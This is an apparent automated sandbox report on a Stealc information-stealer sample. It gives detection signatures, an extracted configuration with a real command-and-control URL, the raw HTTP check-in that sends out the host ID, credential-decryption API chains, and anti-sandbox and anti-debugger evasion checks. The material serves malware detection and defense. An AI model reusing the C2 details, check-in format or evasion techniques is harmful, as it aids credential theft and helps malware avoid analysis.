Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532751
MD5:	9c8851494e85a86a1b823868d2ec5b1b
SHA1:	dbf8f81d9c9bfb1ae8ad0cd1d5bad9a6d0dd41c5
SHA256:	3a69f6d29dee1aec39e1a81e574b7dcebe2e3ee08f2d36117a2bc19d8e279e14
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6500 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9C8851494E85A86A1B823868D2EC5B1B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1694461519.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6500	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6500	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.320000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T21:40:06.485545+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.320000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0032C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00327240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00327240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00329AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00329AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00329B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00329B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00338EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00338EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00334910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0032E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0032ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00334570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00333EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00333EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003216D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 32 38 38 36 36 38 38 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="hwid"8C28866889272029741119------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="build"doma------CAAAFCAKKKFBFIDGDBFH--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00324880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00324880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 32 38 38 36 36 38 38 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="hwid"8C28866889272029741119------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="build"doma------CAAAFCAKKKFBFIDGDBFH--

Source: file.exe, 00000000.00000002.1735801152.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1735801152.00000000010D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1735801152.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1735801152.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%:
Source: file.exe, 00000000.00000002.1735801152.00000000010D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8a
Source: file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpR
Source: file.exe, 00000000.00000002.1735801152.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpu:
Source: file.exe, 00000000.00000002.1735801152.00000000010D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/law
Source: file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37W$

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E8033	0_2_006E8033
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F2121	0_2_006F2121
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A11FB	0_2_006A11FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006ED9D8	0_2_006ED9D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E4A8B	0_2_006E4A8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EDB69	0_2_005EDB69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB3C8	0_2_006DB3C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EA3D9	0_2_006EA3D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EF579	0_2_006EF579
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BC535	0_2_005BC535
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E15FD	0_2_006E15FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E65B9	0_2_006E65B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EB64A	0_2_006EB64A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E2FAC	0_2_006E2FAC

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 003245C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mmvujlrd ZLIB complexity 0.9949291087962963

Source: file.exe, 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1694461519.0000000004E80000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00339600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00333720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00333720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\B7UAUDA7.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1815040 > 1048576

Source: file.exe

Static PE information: Raw size of mmvujlrd is bigger than: 0x100000 < 0x195000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.320000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmvujlrd:EW;youucsdu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmvujlrd:EW;youucsdu:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00339860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c0538 should be: 0x1c26bf

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mmvujlrd
Source: file.exe	Static PE information: section name: youucsdu
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B207A push eax; mov dword ptr [esp], esi	0_2_007B20DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637060 push 4DDBFFD3h; mov dword ptr [esp], edx	0_2_00637075
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637060 push 3A0B95B0h; mov dword ptr [esp], ebp	0_2_00637088
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637060 push edx; mov dword ptr [esp], ebx	0_2_006370B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637060 push edi; mov dword ptr [esp], 2971E26Dh	0_2_006370B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637060 push 329AB6F7h; mov dword ptr [esp], eax	0_2_006370F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637060 push edx; mov dword ptr [esp], 00000000h	0_2_00637152
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637060 push edx; mov dword ptr [esp], 47773F8Ch	0_2_0063719B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0033B035 push ecx; ret	0_2_0033B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00681063 push esi; mov dword ptr [esp], edi	0_2_0068108D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00681063 push edi; mov dword ptr [esp], ecx	0_2_00681097
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00681063 push edi; mov dword ptr [esp], ebp	0_2_0068109B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00681063 push eax; mov dword ptr [esp], 3F6AAD01h	0_2_0068110B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00681063 push esi; mov dword ptr [esp], ebp	0_2_0068115C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B486B push edi; mov dword ptr [esp], esi	0_2_007B489D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CA040 push eax; mov dword ptr [esp], edi	0_2_005CA04A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CA040 push 4436E718h; mov dword ptr [esp], eax	0_2_005CA0DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CA040 push ebx; mov dword ptr [esp], esp	0_2_005CA0E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CA040 push 349A3A4Ch; mov dword ptr [esp], eax	0_2_005CA0F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A60BF push esi; mov dword ptr [esp], 7FF1584Bh	0_2_009A60DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A60BF push esi; mov dword ptr [esp], ecx	0_2_009A6107
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A60BF push edx; mov dword ptr [esp], eax	0_2_009A612B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A60BF push 67EC4D53h; mov dword ptr [esp], edx	0_2_009A6139
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A60BF push 6EE42145h; mov dword ptr [esp], ecx	0_2_009A6150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00718847 push esi; mov dword ptr [esp], 7E73EDB5h	0_2_00718875
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00718847 push edi; mov dword ptr [esp], 77ADE580h	0_2_007188BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CF841 push ecx; mov dword ptr [esp], 7FB4011Bh	0_2_007CF862
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CF841 push 3BF652F1h; mov dword ptr [esp], edx	0_2_007CFEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E8033 push 6970C3ADh; mov dword ptr [esp], edi	0_2_006E809D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E8033 push edx; mov dword ptr [esp], esi	0_2_006E80BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E8033 push 2790FAC3h; mov dword ptr [esp], eax	0_2_006E8187

Source: file.exe

Static PE information: section name: mmvujlrd entropy: 7.953824912705421

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00339860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13298

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6019 second address: 6F6035 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C524B215h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F633E second address: 6F6346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6346 second address: 6F634A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6492 second address: 6F64CB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jng 00007FD3C4756156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007FD3C475615Ch 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 jmp 00007FD3C4756162h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jnp 00007FD3C475615Eh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F64CB second address: 6F64D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F64D5 second address: 6F64E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FD3C4756156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F675E second address: 6F6789 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD3C524B206h 0x00000008 jng 00007FD3C524B206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD3C524B20Fh 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
